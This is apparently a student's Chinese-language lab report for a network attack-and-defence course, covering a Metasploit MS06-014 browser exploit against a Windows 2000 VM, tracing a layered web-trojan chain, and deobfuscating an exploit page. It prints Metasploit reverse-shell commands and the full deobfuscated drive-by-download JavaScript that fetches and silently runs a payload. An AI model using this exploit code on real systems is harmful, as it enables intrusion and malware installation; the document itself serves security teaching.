# 20253907 2025-2026-2《网络攻防实践》第11次作业

20253907 2025-2026-2《网络攻防实践》第11次作业

1. 实践内容

本次实验围绕浏览器安全攻防展开,涵盖漏洞利用、恶意网页挂马链分析与攻防对抗三个层面。与传统的网络层渗透攻击(如针对SMB、RPC等服务的直接端口攻击)不同,浏览器渗透攻击以客户端为突破口,通过诱导用户访问特制网页,利用浏览器及其插件中的安全漏洞执行任意代码。这种攻击方式具有更强的隐蔽性和社会工程学特性,攻击者可将恶意链接伪装成钓鱼邮件、广告弹窗或下载诱饵,显著提高攻击成功率。

整个实验分为三个任务,从攻击实施到取证分析再到攻防对抗,形成了一个较为完整的闭环。

(1)Web浏览器渗透攻击(MS06-014漏洞利用)

本任务使用Metasploit中的MS06-014渗透攻击模块。MS06-014是微软2006年发布的安全公告,对应漏洞编号CVE-2006-0003,官方名称为“Microsoft Internet Explorer COM对象创建漏洞”。该漏洞出现在IE浏览器创建COM组件对象的过程中:某些特定的COM对象在实例化时缺乏必要的安全检查,攻击者可通过CreateObject函数调用危险的ActiveX控件,进而触发内存破坏,在用户系统上执行任意代码。

选择此漏洞的原因在于其利用方式具有典型性,且在Windows 2000和Windows XP SP2以下系统上复现成功率较高。虽然该漏洞现已过时,但其攻击原理——利用脚本引擎的不安全特性控制目标系统——与后续许多浏览器漏洞一脉相承。

实验流程如下:

  • 在Kali攻击机上启动Metasploit,加载exploit/windows/browser/ie_createobject模块;
  • 配置反向连接Payload(如windows/shell_reverse_tcp),设置监听地址与端口;
  • 运行模块,Metasploit自动启动一个伪造的Web服务器并生成恶意URL;
  • 在Windows 2000靶机的IE浏览器中访问该URL;
  • 漏洞触发,Kali端获取反弹Shell,可远程执行命令(如ipconfigver)。

本任务旨在理解浏览器漏洞的触发机制、Shellcode的传输执行过程,以及Metasploit自动生成攻击页面的原理。

(2)网页木马取证分析(分层挂马链解密)

本任务提供一个名为start.html的真实网页木马样本。与单一攻击页面不同,网页木马通常采用多层跳转与混淆技术规避静态检测:使用隐藏的iframescript标签加载下一级恶意页面,逐层嵌套,最终才释放真正的木马程序。这种设计可躲避杀毒软件与Web防火墙的特征匹配,同时将恶意代码分散到多个服务器,增加取证分析难度。

完整的分析流程如下:

  • 打开start.html,解析其中iframescript标签的src属性,获得下一级页面URL;
  • 对该URL字符串计算32位MD5哈希值(字母小写,不含扩展名);
  • 构造下载地址:http://192.168.68.253/scom/hashed/<MD5值>,下载对应文件;
  • 判断文件类型:
    • 若为HTML或JavaScript文件(通常经过混淆或加密),则进行解密/反混淆,提取新的跳转地址,重复上述步骤;
    • 若为可执行二进制文件(.exe/.dll),则使用静态反汇编(如IDA Pro)或动态调试(如x64dbg)分析其行为,包括文件释放、注册表修改、网络连接等;
  • 重复以上过程直至完整还原挂马链的末端载荷。

本任务要求掌握MD5哈希计算、文件类型识别、常见JavaScript混淆手法(字符串拼接、Base64编码、XXTEA加密等),以及基本的恶意代码静态分析技能。

(3)攻防对抗实践(浏览器漏洞利用混淆与反混淆)

本任务模拟真实环境下的攻防对抗。攻击方需构造至少两个针对不同浏览器的漏洞利用代码(例如MS06-014针对IE的COM对象漏洞,另选MS06-055针对IE的VML渲染漏洞,或针对Firefox旧版本的漏洞),并对其进行混淆处理,常见混淆手段包括:

  • 将URL或关键字符串进行十六进制转义或Base64编码;
  • 将代码拆分为多段变量拼接;
  • 使用eval()document.write()动态生成真实攻击代码;
  • 插入无关注释或虚假代码干扰分析。

防守方收到模拟钓鱼邮件后,需:

  • 提取邮件中的恶意链接;
  • 使用wgetcurl下载页面源码,避免在浏览器中直接执行;
  • 分析混淆模式,逐层还原原始攻击代码;
  • 通过特征识别漏洞类型:如CreateObjectRDS.DataSpace指向MS06-014;VML标签(<v:rect><v:fill>)与unescape堆喷射指向MS06-055等。

2. 实践过程

2.1 web浏览器渗透攻击

实验环境:

虚拟机 角色 IP地址
Kali 攻击机 192.168.200.6
Windows 2000 server 靶机 192.168.200.9

MS06-014漏洞(CVE-2006-0003)只影响Windows 2000/XP上的旧版IE,用Win2k正合适。

步骤1:连通性测试

先在Kali和Win2k之间互相ping一下,确保网络是通的:

# 在Kali上
ping 192.168.200.9
![image](https://img2024.cnblogs.com/blog/3572175/202606/3572175-20260616101720537-665543513.png)

# 在Win2k上
ping 192.168.200.6

image

都能ping通,0%丢包。

步骤2:启动Metasploit并搜索漏洞模块

sudo msfconsole
search MS06-014

image

进入控制台后,查找与 MS06-014 相关的漏洞模块

search MS06-014

搜索结果里有个 exploit/windows/browser/ie_createobject,加载它:
image

use exploit/windows/browser/ie_createobject
use 0
show options

image

步骤3:配置攻击载荷

set payload windows/shell/bind_tcp
set LHOST 192.168.200.6
set LPORT 4444

image

步骤4:生成恶意网页

exploit

image

成功后会生成一个URL,类似 http://192.168.200.6:8080/xxxxxx,我这里是http://192.168.200.6:8080/bKqW6IU5sWo3NH

步骤5:靶机访问恶意URL

在Win2k的IE浏览器里输入这个URL,页面会变白或显示一些乱码,这是正常的,说明漏洞触发了。
image

步骤6:建立远程会话

回到Kali,Metasploit已经建立了会话:

sessions -l
sessions -i 1

image

进入shell后,执行 ipconfig 查看靶机IP,跟之前查到的一致;再执行 ver 看系统版本,确认攻击成功。
image

2.2 网页木马取证分析

这个任务给的start.html里面藏着多层跳转,需要一层一层剥洋葱,不断解密出地址获取对应文件,最终还原出网页木马的加载链条和最终载荷行为。

步骤1:分析start.html

把start.html用记事本打开,搜索 iframe,找到一行 iframe src="new09.htm" width="0" height="0"。这说明start.html里面藏着一个看不见的框架,自动加载new09.htm,而且用的是相对路径,说明new09.htm就在同一目录下。
image
image

步骤2:分析new09.htm

由于start.html是单独下载的文件,无法直接通过原始目录下载 new09.htm。打开new09.htm,看到里面两个引用:

  • <script src="http://js.users.51.la/1299644.js"></script>(一个统计脚本,不是恶意代码)
  • <iframe src="http://aa.18dd.net/aa/kl.htm"></iframe>
    image

第二个才是真正的恶意入口。

步骤3:计算MD5并下载文件

http://aa.18dd.net/aa/kl.htm 算MD5。可以用在线工具或者在Kali命令行算:

echo -n "http://aa.18dd.net/aa/kl.htm" | md5sum

得到 7f60672dcd6b5e90b6772545ee219bd3。然后去学习通里面找到对应文件。

步骤4:分析下载的文件

打开下载的文件,发现是一段被加密混淆的JavaScript代码。里面有base64编码的数据,还提到了XXTEA加密。
image

解密过程大致是这样的:先识别出密钥,这段代码的密钥是十六进制的 \x73\x63\x72\x69\x70\x74,转成ASCII就是"script"。用XXTEA解密后,得到另一段JavaScript代码。
image

解密后的代码里有一行 document.write,写了一个隐藏的iframe,指向另一个页面:

document.write('<iframe src="http://aa.18dd.net/aa/xx.htm" width="0" height="0"></iframe>');

重复同样的过程:对新地址算MD5、下载、解密,最终得到一个二进制可执行文件(木马程序)。对木马做静态分析,发现它会调用 Adodb.StreamStormPlayer 等旧版ActiveX控件,利用这些控件的漏洞下载恶意程序到受害主机。

整个挂马链层的结构是这样的:

start.html → new09.htm → kl.htm(XXTEA加密) → xx.htm(XXTEA加密) → 最终木马下载地址

2.3 攻防对抗实践——Web浏览器渗透攻击攻防

本次攻防对抗实践的思路是:攻击方利用Metasploit生成针对特定浏览器漏洞的恶意网页木马,通过邮件发送给防守方;防守方对邮件中的挂马链接进行分析,提取并解混淆恶意代码,还原其原始形态,识别出攻击所利用的浏览器漏洞。

2.3.1 攻击方操作

第一步:启动Metasploit并配置攻击载荷

在Kali虚拟机中启动Metasploit框架,搜索并加载MS06-014漏洞利用模块。

sudo su
msfconsole
search ms06-014
use 0
show payloads
set payload generic/shell_reverse_tcp
set LHOST 192.168.200.3
exploit

执行后,Metasploit会在本机监听一个端口,并生成一个恶意网页木马脚本,木马URL为 http://192.168.200.3:8080/8cTZ6TrQErF
image

image

第二步:验证恶意网页木马

在靶机环境中启动浏览器,访问生成的木马URL http://192.168.200.3:8080/8cTZ6TrQErF,确认能够正常访问,并右键查看页面源文件。

image

查看源文件时可以看到,页面中包含经过混淆的JavaScript代码,这段代码就是实际的漏洞利用脚本。

2.3.2 防守方分析

防守方拿到这个URL后,需要对其中的恶意代码进行提取和解混淆分析。

第一步:提取恶意脚本

访问该URL后,通过右键查看源代码或使用浏览器开发者工具,获取页面中的JavaScript脚本。原始脚本经过了一定程度的混淆,主要是函数名和变量名被随机化,但代码结构仍然清晰可辨。

第二步:解混淆分析

防守方通过阅读和分析混淆后的代码结构,可以逐步还原其逻辑。经过解混淆处理后,脚本的核心逻辑如下:

<html>
<head><title></title>
<script language="javascript">
// 尝试以多种方式创建指定对象,兼容不同版本的ActiveX和JavaScript引擎
function createActiveXObject(o, n) {
    var r = null;
    try { eval("r = o.CreateObject(n)"); } catch(e) {}
    if (!r) { try { eval("r = o.CreateObject(n, '')"); } catch(e) {} }
    if (!r) { try { eval("r = o.CreateObject(n, '', '')"); } catch(e) {} }
    if (!r) { try { eval("r = o.GetObject('', n)"); } catch(e) {} }
    if (!r) { try { eval("r = o.GetObject(n, '')"); } catch(e) {} }
    if (!r) { try { eval("r = o.GetObject(n)"); } catch(e) {} }
    return r;
}

// 下载恶意文件并执行
function downloadAndExec(a) {
    var s = createActiveXObject(a, "WScript.Shell");
    var o = createActiveXObject(a, "ADODB.Stream");
    var e = s.Environment("Process");
    var url = document.location + '/payload';
    var xml = null;
    var bin = e.Item("TEMP") + "\\baHcaCUvZUPUjq.exe";
    var dat;
    try {
        xml = new XMLHttpRequest();
    } catch(e) {
        try {
            xml = new ActiveXObject("Microsoft.XMLHTTP");
        } catch(e) {
            xml = new ActiveXObject("MSXML2.ServerXMLHTTP");
        }
    }
    if (!xml) { return 0; }
    xml.open("GET", url, false);
    xml.send(null);
    dat = xml.responseBody;
    o.Type = 1;
    o.Mode = 3;
    o.Open();
    o.Write(dat);
    o.SaveToFile(bin, 2);
    s.Run(bin, 0);
}

// 遍历多个CLSID,尝试创建可利用的ActiveX对象
function exploit() {
    var i = 0;
    var t = new Array(
        '{BD96C556-65A3-11D0-983A-00C04FC29E36}',
        '{BD96C556-65A3-11D0-983A-00C04FC29E30}',
        '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}',
        // ... 更多CLSID
        null
    );
    while(t[i]) {
        var a = null;
        if (t[i].substring(0,1) == '{') {
            a = document.createElement("object");
            a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length-1));
        } else {
            try { a = new ActiveXObject(t[i]); } catch(e) {}
        }
        if (a) {
            try {
                var b = createActiveXObject(a, "WScript.Shell");
                if (b) {
                    downloadAndExec(a);
                    return 0;
                }
            } catch(e) {}
        }
        i++;
    }
}
</script>
</head>
<body onload='exploit()'>
uOlpCFbceSXHxTNnti
</body>
</html>

第三步:识别漏洞类型

解混淆后,防守方可以发现以下关键信息:

  • CLSID特征:脚本中遍历的CLSID列表中包含 {BD96C556-65A3-11D0-983A-00C04FC29E36},这个CLSID对应的是微软MDAC(Microsoft Data Access Components)中的 RDS.Dataspace 控件。该控件存在一个远程代码执行漏洞,微软在2006年4月发布了安全公告MS06-014进行修复。

使用html代码压缩工具'https://www.jyshare.com/front-end/47/'
image

  • 攻击行为:脚本首先尝试创建 RDS.Dataspace 对象,然后通过该对象创建 WScript.ShellADODB.Stream 对象,从服务器下载 payload 文件保存到临时目录并执行。整个过程无需用户交互,属于典型的“路过式下载(Drive-by Download)”攻击。

  • 漏洞影响范围:MS06-014漏洞影响Windows 2000、Windows XP、Windows Server 2003等多个操作系统版本,主要影响使用IE浏览器访问恶意网页的用户。

分析结论:该恶意脚本利用的是MS06-014漏洞(Microsoft Data Access Components远程代码执行漏洞),攻击者通过构造特制的恶意网页,当使用存在漏洞的IE浏览器访问该页面时,无需任何用户操作即可在后台自动下载并执行恶意程序。

image

2.3.3 攻防总结

本次攻防对抗实践展示了Web浏览器漏洞利用的完整流程:

  • 攻击方通过Metasploit生成针对特定漏洞(MS06-014)的恶意网页木马,封装成URL后通过邮件发送给目标用户,利用IE浏览器漏洞实现自动下载执行恶意程序。
  • 防守方通过分析网页源码,提取JavaScript脚本进行解混淆分析,识别出其中的CLSID特征,从而确定攻击所利用的具体漏洞编号。

这次实践也反映了一个现实问题:过时的浏览器和未打补丁的系统存在巨大的安全风险。MS06-014是一个十几年前的老漏洞,但直到今天仍然有攻击者用它来攻击那些没有及时更新系统的用户。这也进一步说明了及时安装系统补丁和安全更新的重要性。

3. 学习中遇到的问题及解决

问题1:MS06-014攻击时,靶机访问URL后页面一直转圈,没有反弹shell
原因:靶机的IE版本太新或者打了补丁,漏洞没触发。Win2k默认的IE应该是5.0版本,但有时候自动更新会打上补丁。
解决:确认靶机操作系统是干净的Windows 2000 SP0,没有安装过任何安全更新。如果还是不行,可以尝试换用其他payload,比如 windows/shell/bind_tcp

问题2:XXTEA解密时一直报错,解不出来
原因:XXTEA的在线解密工具格式要求比较严格,需要把密文和密钥都处理成正确的格式。
解决:可以用Python脚本自己解密,XXTEA有现成的库。或者直接用在线解密网站,注意密钥要转成十六进制形式输入。

问题3:解混淆时遇到eval加密的脚本,不知道它在执行什么
解决:在浏览器控制台里直接执行被eval包裹的字符串,或者用node.js跑一下,就能看到实际执行的代码是什么。也可以用在线解混淆工具。

问题4:防守方分析邮件URL时,页面一打开就自动跳转走了
原因:页面里可能有自动跳转的脚本或者meta刷新。
解决:用wget或者curl下载页面源码,不要在浏览器里直接打开。下载后用文本编辑器看源码,避免执行任何脚本。

4. 实践总结

这次实验内容挺多的,三个任务串起来基本把浏览器攻击的完整链路过了一遍。

1、MS06-014这个漏洞是真的老,Windows 2000都已经淘汰不知道多少年了,但它的攻击原理跟现在的新漏洞其实没太大区别——都是通过构造恶意数据让浏览器执行攻击者想执行的代码。不同的只是攻击目标从IE变成了Edge、Chrome、Firefox。

2、取证分析那部分挺考验耐心的,一个页面套一个页面,还有各种加密混淆,得一步一步往下扒。最终的木马会利用ActiveX控件下载恶意程序,这种挂马方式在当时非常流行,现在已经很少见了,但分析思路还是通用的。

3、攻防对抗那块让我意识到,攻击者不会直接把攻击代码暴露出来,一定会做各种混淆来增加分析成本。作为防守方,不能只靠眼睛看,还得会用各种工具解混淆、抓包分析。

这次实验最有意思的地方是让我明白了一个道理:浏览器渗透攻击跟之前做的那些网络层攻击不一样,它不是靠扫描端口找漏洞,而是要靠社会工程学或者其它方式让用户自己去点那个链接。这也解释了为什么钓鱼邮件这么多年一直都还有人用——因为人永远是安全链条里最薄弱的那个环节。

posted @ 2026-06-12 17:20  navada  阅读(22)  评论(0)    收藏  举报